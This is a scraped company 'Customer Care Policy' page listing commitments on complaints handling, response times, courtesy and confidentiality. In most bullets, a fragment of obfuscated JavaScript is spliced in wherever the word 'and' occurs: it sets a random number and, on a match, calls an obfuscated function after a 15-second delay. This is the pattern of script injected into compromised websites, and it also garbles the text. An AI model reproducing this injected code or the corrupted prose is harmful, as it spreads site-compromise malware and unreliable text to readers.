Customer Care Policy

- We promise to listen to our customer’s feedback andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and act proactively upon any causes for dissatisfaction or non-conformity with the utmost urgency

- We have effective communication system in place for dealing with complaints, andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and opportunities provided for clients to make favourable comments via telephone, fax, e-mail andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and our regular inspection reports.

-  Client satisfaction will be assessed on a regular basis andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and more formally at the time of the business review via our Customer Questionnaires

- All members of Staff continuing to deliver the highest levels of quality work.

- Operating best working practices in accordance with service delivery andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Governmental andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Environmental Legislation/Regulations.

- Exceeding expectations by resourcing ways to add value to our work.

- Responding to Telephone Calls within 24 hours andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Written Correspondence within  7 working days of receipt.

- Behaving in a professional manner, being courteous, polite andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and helpful at all times.

- Accommodating Customers needs wherever possible/feasible.

- Communicating effectively whenever possible to Customers in a relevant way.

- Respecting Property andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and ensuring that no damage occurs by taking necessary precautions.

- Maintaining confidences on private information, showing discretion in all matters relating to Property, Security Locks andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Access.

- Actively seek the views of customers andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and staff

- Share good practice

- Being sensitive to Customers with Special Needs or Disabilities
Should a Customer ever deem it necessary to make a complaint, we ensure that this will be given priority andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and act accordingly to rectify any issues as soon as is possible/practical.